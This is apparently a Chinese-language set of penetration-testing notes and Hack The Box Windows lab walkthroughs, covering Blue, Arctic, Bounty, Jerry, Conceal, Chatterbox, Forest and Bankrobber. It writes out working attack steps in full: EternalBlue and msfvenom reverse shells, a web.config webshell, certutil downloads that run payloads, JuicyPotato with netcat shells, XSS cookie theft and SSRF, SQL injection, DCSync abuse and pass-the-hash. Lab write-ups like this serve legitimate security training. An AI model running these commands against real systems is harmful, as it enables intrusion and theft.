show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j

然后在本地的1080就会有一个sock5代理 proxychains就行了

101.OSCP一些思路

在看oscptext的时候遇到的一些有意思的教学，这些思路得记下来

遇到任意文件读取的时候不要老相信poc 记得手动试一下比如任意文件读取的poc 他可能就不成功

遇到文件包含尝试写日志读日志 ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php

文件上传有时候可以进行覆盖覆盖公钥试试看

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

UAC绕过是一个挺有意思的一个技术 Import-Module NtObjectManager 之后 Get-NtTokenIntegrityLevel 就能确定完整性级别当级别为Medium的时候就可以去尝试UAC绕过了

102.后利用脚本

https://github.com/rebootuser/LinEnum

https://linpeas.sh/

https://github.com/DominicBreuker/pspy

aes:https://tool.lmeee.com/jiami/aes

rsa:https://www.bejson.com/enc/rsa/

phpinfo lfi条件竞争：https://github.com/vulhub/vulhub/tree/master/php/inclusion

ssh隧道：https://wangdoc.com/ssh/port-forwarding，https://harttle.land/2022/05/02/ssh-port-forwarding.html

windows漏洞分析：https://github.com/AonCyberLabs/Windows-Exploit-Suggester

windows永恒之蓝系列：https://github.com/SecWiki/windows-kernel-exploits

Hack The Box：Windows 靶机笔记

Thu, 12 Dec 2024 12:29:00 +0800

1.Blue

信息收集:

根据靶场名称一系列的基本上能确定就是永恒之蓝了

但是我不能使用msf获取虽然msf很方便

于是我开始找利用工具 exploitdb和github上都是但缺点是都难以利用 github上的作者说了python2是没问题的 python3可能无法运行

然后就是配置python2的环境这个环境非常麻烦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


python2 -m pip install --upgrade setuptools wheel
python2 -m pip install pyasn1 pycryptodomex ldap3
python2 -m pip install pyOpenSSL==20.0.1
python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3
python2 -m pip install impacket --no-deps --ignore-installed

#如果上面的最后一步无法安装就运行下面的
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python2 setup.py install

https://github.com/worawit/MS17-010

上面是项目地址我参考了很多文档将项目下载到kali

在shellcode文件夹中有一些文件其中重要的是 eternalblue_sc_merge.py 文件

根据eternalblue_sc_merge.py 文件的教程生成通用的shellcode 实际上blue靶机是x64的但还是生成一个通用的吧

1
2
3
4
5
6
7
8


nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin
msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin

生成完 sc_all.bin 最后一步就是发起攻击监听可以用msfconsole 但是实际上还是想用netcat 所以此处是可以用msfconsole监听的至此可能已经完结 oscp要求不能使用msf攻击但是监听应该不会出大问题但是为了严谨还是走一下纯netcat

上面的方法nc无法捕获

优化后的项目 https://github.com/3ndG4me/AutoBlue-MS17-010/

读了项目的issue 作者已经优化了这个程序在18年的时候

但是实际上我在这里浪费了很多时间他根本没优化好我还一直在测试

回到最初的github的项目 https://github.com/worawit/MS17-010

1
2
3
4
5
6
7
8


nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin

其实只用改一下msfvenom生成payload的模块就行

但是在 https://github.com/3ndG4me/AutoBlue-MS17-010/ 优化后的项目中生成的payload一直有问题读了下 shell_prep.sh 后续输入两个1 1 其实就跟上述代码没什么区别但就是有问题所以这个项目暂时搁置吧

最终改好的命令成功弹回了shell

进去就是system 在用户和administrators的桌面上就有flag 到此结束

下面是参考的博客感觉挺有帮助的虽然永恒之蓝是最基本初学者就要学的但是基本上没去了解底层原理并且只会用msfconsole去攻击这次利用了python脚本感觉确实不一样

https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/

https://github.com/a6avind/MS17-010/blob/master/README.md

https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2

https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5

2.Arctic

信息收集:

rpc没找到能利用的漏洞看了下8500端口的服务看到了框架和版本 Adobe ColdFusion 8

开始google就行任意文件读取漏洞

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en

读密码

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

密码也有了权限更大这时去找一下rce的exp

https://www.exploit-db.com/exploits/50057

这个一眼就是根据这个靶场来写的exp 非常相似 21年写的相当于wp了

执行了之后也是拿到了shell

但是目前我只能搜到这个exp 但是读了下代码非常简单文件上传接口有未授权发包传了个jsp上去然后开线程一个监听一个访问jsp 就会反弹shell回来

接下来开始提权提权之前开始收集信息只要获取到systeminfo就能利用下面的脚本

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

这个脚本也遇到点问题限制版本就解决了

pip2 install xlrd==1.2.0

有很多提权漏洞随便找一个就行

我找到了这个github的网站

https://github.com/SecWiki/windows-kernel-exploits

挨个试了之后发现 MS10-059 是可以用的将MS10-059.exe 下载下来传到windows靶机上

certutil -urlcache -split -f http://10.10.16.3:33333/Arctic/MS10-059.exe .\MS10-059.exe

根据教程MS10-059.exe的教程运行

MS10-059.exe 10.10.16.3 5555

nc-lvnp 5555

这样就行了

结束目前打的两个靶场估计都是熟悉一下最基本的windows渗透操作后面估计会越来越难

3.Bounty

信息收集：

只开了一个端口打开只有一张图片和提示了一下用的iis7 实际上也确实是iis7

之后开始目录爆破同时查看图片是否有隐写等等信息泄露

后续没看到图片有什么

经过爆破找到了一个文件夹和一个接口

这个接口可以上传文件但貌似是白名单导致很多文件传不上去

1355表示上传失败尝试了很多绕过和iis7.0 甚至不是7.0的文件解析漏洞

但都行不懂这里确实触及到我的盲区了看了下一步的wp

提示我们需要去爆破后缀我找到了一个月前放到kali的字典

/usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt

这里爆出了除了常规的外后缀为config的是可以上传的

https://github.com/tennc/webshell/blob/master/aspx/web.config

找到了个getshell的方法虽然我并没有学过.net 但是这个文件还是一眼能看懂用法

访问接口 ?cmd=dir 传参就行

传上去之后访问 http://10.10.10.93/UploadedFiles/web.config?cmd=whoami

先读flag吧 http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:\users\merlin\Desktop\user.txt

然后尝试获得交互式shell 传上去了个nc 失败了

还是简单点吧传个msfvenom生成的后门拼接命令

1
2


msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\users\merlin\shell.exe

成功了刚刚其他反弹shell的方法都没咋找到找到的也不行看来以后反弹shell离不开msfvenom了

还是先systeminfo

ms10-059还是能用再试试看

结束

提权还是跟之前刚学的一样如果存在直接用就行了 getshell的部分因为我对aspx不是很了解我一直在尝试iis的解析漏洞上传绕过等等一系列的完全走偏了没有搜到web.config这个利用后续了解了这个利用之后就方便很多了刚开始学windows靶机这个难度还算可以的了

4.Jerry

信息收集：

目录爆破没东西

tomcat版本也有

找到了对应版本的payload 失败了手动也不行

字典爆破manager吧

https://blog.csdn.net/m0_53008479/article/details/124865806

tomcat:s3cret

登陆成功到了后台

1
2


msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > ft.jsp
jar cvf ft.war ft.jsp

传上去就行

访问 http://10.10.10.95:8080/ft/ft.jsp

反弹回来为system权限

找到 C:\Users\Administrator\Desktop\flags 目录

两个flag都在里面这个靶场主要也是熟悉一下操作吧

5.Conceal

这个靶场被定义为难有很多人觉得难度在中等往上来看看吧

信息收集：

只有udp的端口开着的一直保持着扫udp确实是一个好习惯

https://refabr1k.gitbook.io/oscp/info-gathering/snmp

这个里面介绍了针对snmp的一些渗透方式但都是一些简单的枚举信息泄露吧

看起来确实没什么用

后续尝试了大量的exploit都不行但是我发现一个奇怪的点

snmpwalk -c public -v1 10.10.10.116

这一行是有一个ike vpn password存在的 udp的500端口我虽然没见过但是这个IKE我是比较熟悉的当时学习的时候将openvpn IKE FRP 这三种进内网的方法我都试了下

因为我几乎打了我能找到的所有exp 可能还存在遗漏甚至snmp有个ms06-074我都找到了

目前只有针对IKE渗透了我感觉他就是在说用这个密码去连

关于isakmp这个服务我找到了下面这个博客

https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting

这篇文章全面的解释了这个服务也告诉了大量的利用方法

接下来按照他的教程挨个走

如您在之前的回复中所见，有一个字段叫做 AUTH，其值为 PSK。这意味着 VPN 是使用预共享密钥配置的（这对渗透测试人员来说非常好）。 最后一行的值也非常重要：

1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec，并愿意进行 IKE 协商，您提议的一个或多个变换是可接受的（有效的变换将在输出中显示）。

我可能没找到供应商

while read line; do (echo “Found ID: $line” && ike-scan -M -A -n $line 10.10.10.116) | grep -B14 “1 returned handshake” | grep “Found ID:”; done < /usr/share/wordlists/SecLists-master/Miscellaneous/ike-groupid.txt

这一步是找组名ID

但是我并没有找到组名可能是字典不够强大期间我一直在搜索如何去连接ike vpn 但是没有任何博客能告诉我答案唯一的就是上面的那个博客他告诉我的需要组名ID PSK 实际上我已经有PSK了然后他要做的就是放入组名和PSK 再找一个用户名字典和密码字典进行爆破最后获得了组名用户名密码 PSK密钥才能进行连接太麻烦了而且我觉得不太现实更何况组名都无法爆破出来

这里我看了下一步的wp 我才发现我目前没有任何问题获得PSK密钥其实就已经可以去连接了只是我一直没找到合适的工具合适的方法这里我并没有去看他使用的是什么工具虽然我刚刚搜了半天连接方法啥都没搜出来

至少能确定我没有走错路就行

最后还是找到了

找到了教程我参考了大量大量的博客这个配置文件太上头了

重新回到过去找到了他的算法是3DES 从这个博客找到了3DES应该配置成什么样子

https://wiki.strongswan.org/issues/2666

获取到了两个重要的配置当然其他配置也得一条一条来

接着尝试看看能不能连能连就不看其他配置了

还是失败了一直连接中

还是挨个看版本可能有问题

google一下找到了参数

改成了1就好了

现在测测看看能不能连

还是报错接着看其他参数

https://wiki.strongswan.org/projects/strongswan/wiki/connsection

这个博客介绍了所有参数在此我找到了一个关键点因为这个地方我没设置导致我一直无法去连接

left|rightsubnet是可以选择协议的默认是TCP/UDP 导致我无法连接因为他的UDP已经开放了就是这样的一个逻辑我要进行连接只能是TCP 至此全部完善已经能连上了

流程如下

apt-get install strongswan libcharon-extra-plugins

修改下面的配置文件

vim /etc/ipsec.secrets

1
2
3
4
5
6


# This file holds shared secrets or RSA private keys for authentication.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

: PSK "Dudecake1!"

vim /etc/ipsec.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


# ipsec.conf - strongSwan IPsec configuration file

# basic configuration
config setup
 charondebug="all"
 uniqueids=yes
 strictcrlpolicy=no

conn test
 authby=secret
 auto=add
 ike=3des-sha1-modp1024!
 esp=3des-sha1!
 type=transport
 keyexchange=ikev1
 left=10.10.16.3
 right=10.10.10.116
 rightsubnet=10.10.10.116[tcp]

ipsec restart

ipsec status

ipsec up test

这样就行了这一部分参考的博客有用的大概就是下面这几个

https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/

https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only

https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/

https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE

https://wiki.strongswan.org/projects/strongswan/wiki/connsection

https://wiki.strongswan.org/issues/2666

https://blog.imkasen.com/strongswan-config/

终于进去了可以扫一下TCP了目前之前发现过几个端口还是再扫一下吧

出结果了但是必须要要TCP扫描因为我们只连了TCP

ftp匿名没有任何东西

80端口扫到一个upload文件夹

smb服务连不上

ftp和http的upload文件夹很显然 ftp就是http的目录当然还得验证一下

果然ftp传了个1.txt upload里面就有现在得看看后端是什么一般好像是asp或者aspx 挨个试试吧

aspx失败

asp也失败了

asp 换了个shell就好了

https://github.com/tennc/webshell/blob/master/asp/webshell.asp

就是很奇怪msfvenom的asp后门为什么失败

生成后门

拼接命令

certutil -urlcache -split -f http://10.10.16.3:33333/Conceal/shell.exe \Users\Destitute\1.exe && start \Users\Destitute\1.exe

反弹成功

拿到了shell

开始提权但是很可惜的是我对于windows的提权并不是特别了解目前只学了systeminfo的一种方法

能试的我都试了

所以我试了很多提权发现烂土豆提权貌似很适合当前这个靶场

whoami /priv

这属于常规提权的一种不能光打靶场学习有空还是得多看看windows提权

使用还是很简单的

但是老是失败无法使用换JuicyPotato吧

项目地址：https://github.com/ohpe/juicy-potato/releases/tag/v0.1

nc地址：https://eternallybored.org/misc/netcat/

全上传到靶机

1
2


certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \Users\Destitute\jp.exe
certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \Users\Destitute\nc64.exe

接下来准备其他文件

1
2
3
4
5
6
7


#创建反弹shell的bat文件 nc64改成绝对路径
echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.3 5555 > shell.bat
# https://github.com/ohpe/juicy-potato/tree/master/CLSID 找对应的CLSID
# https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list 我找的是最下面的一个
# -l 随便找一个没占用的端口就行
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"
nc -lvnp 5555

结束

这个靶场受益良多最难的点我觉得在于ipsec的配置配置了非常久非常难搞

其次烂土豆提权我没咋接触过windows的常规提权不过现在记住了

6.Chatterbox

信息收集：

常规的smb连不上 nmap提示了9255和9256两个服务的信息

google了解一下这是什么服务

还是能搜到exp的

可惜的是kali上的exp 我尝试了很多遍一直不行可能是生成payload的方式有问题

还好找到了一个github的项目

https://github.com/mpgn/AChat-Reverse-TCP-Exploit

这个exp还是有点问题他拿到的是msf的shell 还是得改一下其实上面kali的那个exp已经给了生成方式但是我想加LHOST和LPORT 加上去就报错或者失败再基于这个github上的payload改一下就行

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.16.3 LPORT=6666 exitfunc=thread -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python

这样就行替换exp里的buf就行

shell

开始提权 systeminfo一下烂土豆貌似还是存在的

并没有开启

但是我们可以去到administrator目录下去找到root.txt文件

但是当访问时会提示权限不够这时候 dir /q 就会发现这个文件是当前用户的权限的只要给他赋予可读权限就行

可以参考这个： https://blog.csdn.net/senge_com/article/details/134508668

cacls root.txt /p everyone:f /e /t

结束但是目前还是没有提权到administrator

开始翻wp吧都翻一遍毕竟windows提权算是比较薄弱的部分了

貌似都是这条路目前还是没收集到类似于linux的linenum之类的信息收集脚本可能是全部要手动？

7.Forest

信息收集：

挨个来吧

domain dns

默认无共享

仔细看看发现这其实就是个域控

======================================================

此处省略5天

======================================================

5天恶补了一下域渗透基本逻辑常见漏洞全部了解复现了在我另一篇文章有记录的

在几天前当时不是太了解域的时候看了一篇wp 他是这么说的

他超出了oscp的考试范围如果这个靶场有人能直接拿下那么oscp的域渗透基本没压力这里他也提到了这个靶场更多的是练习所以这个靶场我会结合自己的思路行不通我会去看wp 直到掌握这些

从这里开始我之前访问了域控的dns smb 都没什么信息主要是信息收集没做好既然知道了目标是域控首先要拿的就是域控的主机名它可以得出域控的计算机账户名当然是默认情况下然后就是域名这几个我之前没有拿到

如下：

从ldap入手

1
2
3


这两条是收集的方法 具体参数需要查询
nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -h <ip> -s base

1

nmap -n -sV -sU --script "ldap* and not brute" -p 389 10.10.10.161

1

ldapsearch -x -H ldap://10.10.10.161:389 -s base

1

ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local

这里https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap提到了一个方法就是在匿名的情况下去提取信息

1

ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +

https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain

这个网址提到了其他参数研究了一下其实这里就是一个筛选器刚刚不是请求到了很多信息吗需要一个筛选器来进行筛选

1

ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectCategory=person)" | grep sAMAccountName

筛出了具体名称

查找用户名还有几种方法

一个没见过的服务账号

1
2


GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt
GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt

拿到了TGT 先跑一下密码吧

1

hashcat -m 18200 1.txt /usr/share/wordlists/rockyou.txt

1

svc-alfresco:s3rvice

这一步结束了我并不知道后续该如何获得shell 因为在我之前的利用中基本上都只有administrator 或者提权才能上去

按照之前学的挨个试试吧

提示我们貌似可以

结果置空的时候卡死了

这里了解到了一个新技巧

挨个试试吧

1

crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice

可以连上

1

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

连上了就是有点卡做做信息收集

获得的信息貌似没什么重要的在域外已经拿到很多了

从wp得知要用Bloodhound 来看看是否有可利用的路径在学习域渗透的时候我已经安装好了要安装的话网上方法特别多

我这里直接启动了在使用之前

我收集了到一个在windows处类似于linux中 LinEnum.sh这种信息收集工具

https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855

我传了上去但是并没有拿到什么信息

接下来开始使用bloodhound

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/

有powershell和exe的版本我选择了exe版本将它传上去

将文件传入windows我用的是certutil 传出来在这里我学到了一个新方法

1
2


python D:\python3.9\Scripts\smbserver.py win10 . -smb2support
copy .\20241124052634_BloodHound.zip \\10.10.16.6\win10\smbserver

将文件拖入程序就会自动加载了

左上角搜索SVC-ALFRESCO 会弹窗

点开标记这个user为当前所有者

再次转到屏幕左上角，在查询选项卡中 Analysis –>shortest path from Owned Principals

查询出来了这里我只能看明白当前我们的用户在这三个组里我去google了下

service account 服务账号组

privileged account 特权账户组

以及

并且下面还有几个博客教如何利用

才发现是自己漏学了当时把约束委派和非约束委派搞完了剩下一个基于资源的约束委派没搞刚好这个靶场能让我补齐这一块就按照教程来吧参考https://cloud.tencent.com/developer/article/1937695

域内有一个exchange服务器这里选择

1
2
3


net group "Exchange Trusted Subsystem" svc-alfresco /add /domain
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync -Verbose

这个博客里的方法还是失败了他的方法是将当前用户加入到Exchange Trusted Subsystem组中

然后给这个用户加一个DCSync的权限他也提到了必须要重新登录让ACL重新加载一下但是我并不清楚该如何给他重新加载这里就卡死了这个靶场作为学习的目的我又去看了眼wp

看清楚了他的逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


1.创建一个域账户 #我们目前是有这个权限的
net user testuser1 password /add /domain

2.给他加入Exchange Trusted Subsystem组 这个也没问题
net group "Exchange Trusted Subsystem" testuser1 /add /domain

3.关键在这一步 用ACL给他加一个DCSync权限
$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\testuser1', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity testuser1 -Rights DCSync

这里的操作是用testuser1给自己加上DCSync权限 我刚刚可能失败的原因是因为我给服务账户本身加权
这种方式在windows里可能不允许 也可能是我需要注销或者重新登录？ 但是我明明用了很多winrm服务
而这一步我在很多博客里都没看到 基本上就是
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync
并且我尝试就用svc-alfresco这个账户 然后使用Add-DomainObjectAcl给testuser1加权 直接报错

如下图不成功

后续想了下主要是也是因为只给了创建用户的权限也没给加权的权限当我们创建了一个普通域账户这个号是没问题把他加到Exchange Trusted Subsystem组他再给自己加权这样理解就很通顺了同时我去找claude验证我的猜想

如下图

直接PTH就行了

1
2


aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
PsExec.exe administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

结束！

这个靶场正如我刚开始打的时候所说基本上做学习使用我在补域渗透的时候基本上都是在本地搭的环境学的太多有点混乱这个靶场后面的基于资源的约束委派我没接触过前面的基本上有所了解但都是广而不精在这个靶场算是做到了把我学的稍微巩固了只能说还得多练习

8.Bankrobber

这里已经有了一个不好的预感了

信息收集：

smb无匿名用户

指纹

一个虚拟货币的交易平台

貌似找到了框架

发现：

可能存在越权

跟他说的一样只能在本地访问并且根据上面的信息他还将xmapp里的东西移到了TODO

信息收集基本上就是上面这些现在开始渗透

在user这个接口处 id绝对是有问题的有一个越权但是这里并没有就是信息之类的所以这里的越权貌似是没什么用其次他的凭证就是跟上面一样将你的username和password以及id放入cookie

/admin 貌似是管理员界面但是我进行爆破的时候还是一直提示权限不够

/phpmyadmin 处已知他只允许了localhost访问我在配置xff等还是无法绕过

貌似以及没什么地方可利用的但是值得一提的是 httponly为空所以可以用xss拿到cookie

在这里请求了之后它会提示管理员会在一分钟内查看他感觉这里大概率可能存在xss

主要是因为他没有回包其次上面的ID是可以尝试SQL注入的但还是挨个来吧

1
2


<script>location.href="http://10.10.16.29:33333/cookie.php?cookie="+document.cookie</script>
ncat -lvnp 33333

很可惜没接收到

尝试SQL注入但是好像这些参数都并没有访问数据库因为提到了要管理员审核

重新尝试多种XSS

1
2
3
4
5
6


<script src="http://10.10.16.29:33333/1.js"></script>
<script>
document.write('<img src="http://10.10.16.29:33333/2.js">');
</script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>

一直不成功但是根据提示来说应该是这样操作的后续看了很多其他东西目录爆破的基本上都提示403权限不够 3306也需要本地访问 smb没有匿名登录到这已经卡死了

还有一步就是https和http的网站里的东西可能有部分不一样接着来看

可惜基本一致就是加了个ssl

这里卡死了看了眼wp 终于发现问题在哪了

我没有认真看这里的参数

首先第一个数量要少于我现在的900 不能大于900

第二个指定ID 1肯定是存在的但是后面其他的存不存在得去爆破cookie的那个id参数这里填1绝对没问题

第三个才是xss

并且第二个可以从前端给他把number的限制删了改成mail地址也没问题而且上面四个payload都能用全都没问题

网上找到了一个有效的payload

1

<script>newImage().src="http://10.10.16.29:33333/cookie1.php?cookie="%2bdocument.cookie;</script>

收到了回包

1

username=admin; password=Hopelessromantic; id=1

在后台有两个接口一个用来查询信息一个用来执行命令怎么看都感觉下面可能存在命令注入

结果不让用提示在本地才让用并且加了xff也不行

查询着发现了可能存在sql注入

字符型sql注入

目前已知mysql我们是无法访问的当然这是跟具体权限设置有关过会可以读取其次就是我们已经知道了xmapp移到了TODO目录查看权限之后可能可以写shell

1

-1' UNION SELECT 1,2,3 --+

找到了回显点

当前账户

secure_file_priv权限为空说明可以写入任意文件但是目前我们还得知道绝对路径

1

-1' UNION SELECT 1,@@global.secure_file_priv,3 --+

到了这一步也不想读取账户是否能远程登录的权限了因为已经能写shell了如果目标只有mysql服务那么可能需要udf提权但是他还是有一个php站点的所以这里打算写shell 目前需要绝对路径

1
2


-1';create user 'test'@'localhost' identified by '123456';--+
-1';grant all privileges on *.* to 'test'@'%' identified by '123456' with grant option;--+

成功上来了并且具有管理员权限

权限没问题如下图

数据库的路径为

根据提示 xampp换成TODO貌似就能解决

尝试读文件

1
2
3


create table test(cmd text);
insert into test(cmd) values (load_file('C:\TODO\htdocs\notes.txt'));
update test set cmd=(load_file('C:\Windows\my.ini'));

最终尝试了很久找到了一个疑似网站目录的地方我尝试读取

1

update test set cmd=(load_file('C:/xampp/htdocs/user/transfer.php'));

是能读取出来的就代表这个文件存在而当我使用

1
2


update test set cmd=(load_file('C:/TODO/htdocs/user/transfer.php'));
update test set cmd=(load_file('C:/TODO/user/transfer.php'));

都会读取不出来先尝试在xampp里写文件把

权限不够所以这里卡死了目前只能算拥有读取和写入文件的权限

udf提权也用不了当 plugin 的值为空时不可提权 MaridaDB算是mysql的一个分支但是我一直搜不到关于mariadb的

这里已经是死路了目前还能尝试的就是php代码审计以及读取root的密码撞库 smb依然访问不了

开始读代码首先我尝试读admin目录里的然后user里的最后主页的index.php

先走能执行cmd的把其次再走刚刚存在sql注入的页面

这个代码还是很好理解的而且这里有system函数我总感觉这里是突破口

第一个限制账号密码要正确第二个验证传入cmd参数里没有$(和& 那这里其实可以用||绕过

第二个判断需要看前三个字符是否为dir 用||其实就无所谓了

主要是第三个 $_SERVER[‘REMOTE_ADDR’] 要求是本地访问的我这里找到的所有方法就是没有办法绕过只能挂代理来改变他的IP

依然没有成功

既然绕不过那么就从这一步延伸可能需要找一个ssrf 或者搭建隧道

search也没有什么东西

我开始回头发现

也就是说从来没有要移的目录他只是一个提示有xampp这目录这里我完全完全卡死了没有任何思路 mysql无法搭建隧道 smb我没有账号密码

直到我看了一眼wp 我完全忘了xss就是在本地被管理员触发的这里能触发ssrf的

已知 C:/xampp/ 目录下可以写文件的构造payload

1

msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666

1
2
3
4
5


var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.setRequestHeader("Cookie","id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D");
httpRequest.send('cmd=dir | powershell -c "Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe" -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe');

再触发一次就成功了这里我卡的也有点久还是没注意细节看了半天才发现url处我一直用的http://localhost/ 没有加/admin/backdoorchecker.php 而且我要等他一直发起请求我才能验证哪有问题结果就是卡了很久

但是结果是好的

传winPEASany.exe上去检查一下

密码都被删了

看端口的是否发现有个bankv2的

还是搭建隧道看看吧

1
2
3
4
5
6
7
8
9


[common]
server_addr = 10.10.16.29
server_port = 7000

[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 910
remote_port = 6000

1
2


[common]
bind_port = 7000

因为只用转发这一个端口不用写代理而且写完代理还很麻烦就算了

成功了但是要密码

写了个简单的脚本

1
2
3
4
5
6


#!/bin/bash
for i in {0000..9999}
do
 echo $i
 echo $i | nc 127.0.0.1 6000
done

0021后面提示我们密码正确

这里它调用了transfer.exe这个工具并且还是绝对路径

目前思路有四种: 一是如果能偷换这个exe 就能拿到shell 二是如果不是绝对路径还能改环境变量三是这个程序有备份或者能获取到然后逆向逆向太不现实如果有源码的情况审计看看有没有注入四是拿到备份看看缓冲区溢出

一：无法替换访问不了那个目录

二：绝对路径没有办法

三：没有备份 find找了只有transfer.php等文件

四：没有备份但是能测一下

然后我想测缓冲区溢出的时候出现了神奇的一幕

貌似如果输入字母会被覆盖

果然是可以覆盖的要找覆盖点有点像缓冲区溢出但是能看出来不完全是

1
2


测试完发现32个字符刚好就能覆盖完 26个字母大小写 刚好能覆盖52个位置 其实能更快
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\xampp\shell.exe

结束

